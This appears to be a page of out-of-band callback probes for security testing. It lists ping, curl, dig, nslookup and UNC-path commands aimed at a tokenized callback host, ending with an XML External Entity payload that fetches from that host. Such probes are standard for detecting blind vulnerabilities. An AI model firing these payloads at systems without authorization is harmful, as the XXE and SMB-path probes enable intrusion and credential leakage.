$ ping -c1 -p 008e526f26041f18d4a5882a015fbf00 unhack.ca
 

$ curl http://unhack.ca/p/8e526f26041f18d4a5882a015fbf
 

$ dig 8e526f26041f18d4a5882a015fbf @unhack.ca
 

$ dig 8e526f26041f18d4a5882a015fbf.ns.unhack.ca
 

C:\> nslookup 8e526f26041f18d4a5882a015fbf unhack.ca
 

C:\> type \\unhack.ca\8e526f26041f18d4a5882a015fbf\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e526f26041f18d4a5882a015fbf">]>
    <foo>&xxe;</foo>